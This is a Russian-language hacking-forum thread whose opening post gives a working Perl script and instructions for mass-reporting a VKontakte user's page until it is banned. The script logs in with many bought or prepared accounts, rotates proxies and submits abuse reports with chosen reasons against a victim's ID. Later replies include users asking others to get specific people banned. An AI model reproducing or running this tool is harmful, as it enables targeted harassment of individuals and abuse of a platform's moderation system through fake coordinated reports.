[Скрипт] Загоняем чужой акк в бан

[Mr.Friman]

Здраствуйте увожаймые жуковцы!
По многочисленным просьбам (точнее 1) я решил выложить скрипт для массовых жалобы в Вк.
Ну приступим нам для этого понадобиться:
1)[Ссылки могут видеть только зарегистрированные пользователи. ]
2)Скрипт

Цитата: #!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; #use threads; #use Text::Iconv; $id = ''; # Id жертвы $acc_file = 'account.txt'; # Путь до файла с акками $comment_file = 'comments.txt'; # Путь до файла с комментариями $proxy_file = 'proxy.txt'; # Путь к файлу с прокси $razdel = ':'; # Разделитель логина и пароля $bl = '1'; # Заносить в чс? Да- 1, Нет - 0, Рандом - 2 $reason = '3'; # На что жалуемся? 1 - Порнография, 2 - Спам, 3 - Оскорбительное поведение, Рандом - 4 $timeout = '15'; # Таймаут по времени отклика в секундах (на случай не чеканых проксей). Для отсутствия, оставьте оле пустым. $logout = '1'; # Разлогинивать акки после жалоб? 0 - Нет, 1 - Да print "\n\n\n[ -----------------------------------------------------------]\n"; print "[ ----------------------Начинаем работу----------------------]\n"; print "[ -----------------------------------------------------------]\n\n"; &action; sub action{ open(COMM, "<$comment_file") || die $!; @comm = <COMM>; close(COMM); open(ACCS, "<$acc_file") || die $!; @accs = <ACCS>; close(ACCS); ABUSE: while(@accs){ open(PROXY, "<$proxy_file") || die $!; @proxy = <PROXY>; close(PROXY); foreach $prox(@proxy){ $prox_i = $prox++; $rand = int(rand($#comm)); $com_rand = @comm[$rand]; if($bl == 2){ $bl = int(rand(2)); } if($reason == 4) { $reason = int(rand(3)+1); } ($mail, $pass) = split "$razdel" => shift @accs; chomp($pass) && chomp($prox_i) && chomp($com_rand); last ABUSE if $mail =~ /^$/; $browser = LWP::UserAgent->new(); $browser->agent('Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1'); $cookie = HTTP::Cookies->new(); $browser->cookie_jar($cookie); $browser->proxy('http', "http://$prox_i"); if($timeout){ $browser->timeout($timeout); } #$request = HTTP::Request->new(GET => 'http://www.adres.ru/' ); #$response = $browser->request($request); $login = $browser->get("http://login.vk.com/?act=login&email=$mail&pass=$pass")->as_string; if($login =~ /reg/){ print "[Error] Ошибка авторизации\n" }; $hash = $browser->get("http://vkontakte.ru/abuse.php?act=a_page_abuse_box&al=1&oid=$id")->as_string; if($hash =~ /hash: '(.*)'},/){ $hash = $1; $abuse = $browser->get("http://vkontakte.ru/abuse.php?act=a_abuse&al=1&bl=$bl&comment=$com_ran d&hash=$hash&oid=$id&reason=$reason")->as_string; #$win2utf = Text::Iconv->new('windows-1251','utf-8'); #print $win2utf->convert("$abuse"); if($abuse =~ /a class="mem_link"/){ print "[Status] Жалоба успешно отправлена\n"; print "[Account] $mail:$pass\n"; print "[Proxy] $prox_i\n"; print "[Comment] $com_rand\n"; print "[ -----------------------------------------------------------]\n"; } else { print "[Status] Жалоба отклонена\n"; print "[Account] $mail:$pass\n"; print "[ -----------------------------------------------------------]\n"; } } else { print "[Error] Ошибка при получении хеша\n"; print "[ -----------------------------------------------------------]\n"; } if($logout){ $link = $browser->get("http://vkontakte.ru")->as_string; $link = $1 if $link =~ /logout_link" href="https:\/\/(.*)" onclick/; # LWP по дефолту не поддерживает ssl $out = $browser->get("http://$link")->as_string; # В итоге разлогиниваемся, а в ответе от сервера видим редирект на /badbrowser.php, ну и ладно, разлогинились же. #$check = $browser->get("http://vkontakte.ru/feed2.php?act=user")->as_string; #print $check; } } } } print "\n\nЖалобы разосланы, работа завершена.\n\n"; __END__

3)Прямые руки с локтями!!!(Самое нужное)
Ну что ж начнём
Качаем perl интерпритатор, запасаемся акками штук (от 10 до 60 смотря как вы сильно хотите забанить человека), создаем нужные файлики для скрипта (файл с прокси,коментариями и с логинами и паролями (файл с логинами и пароля в 1 текстовом документе с разделителем : )), и запускаем сам скрипт.
Дожидаемся полного окончания работы, и ждем когда чужой акк забанят, обычно хватает 10-20 акков для того что бы забанили страничку.

P.S.Путь к документам для скрипта указывать так:
Пример:

Цитата: $acc_file = 'D:\ProgramGames\Читы\Vzlom\BAN\Accaunt.txt'; #

Цитата: $comment_file = 'D:\ProgramGames\Читы\Vzlom\BAN\proxy.txt'; #

Цитата: proxy_file = 'D:\ProgramGames\Читы\Vzlom\BAN\coments.txt'; #

P.S.S.Все аккаунты должны быть привязаны к номеру!!!
Всем спасибо и главное -те

[SparSo21]

+

[denjed]

У меня прога не идет**((

[Mr.Friman]

Цитата: Сообщение от [Read Only]denjed У меня прога не идет**((

В смысле не идёт?Объясни что пишет или просто не запускается?

[B3PblB]

найти бы еще 8 акков..

[Family_AP]

Пожалуйста помогите забанить за спам [Ссылки могут видеть только зарегистрированные пользователи. ]

[DrummmeR]

[Ссылки могут видеть только зарегистрированные пользователи. ]
ребят оч злой человек....банит на право и на лево,истеричка редкая.не дает жить.

[Sanykrot]

спс

[nesijs11]

Ето редкая змея!! Пожалуйста помогите забанить за спам! - [Ссылки могут видеть только зарегистрированные пользователи. ]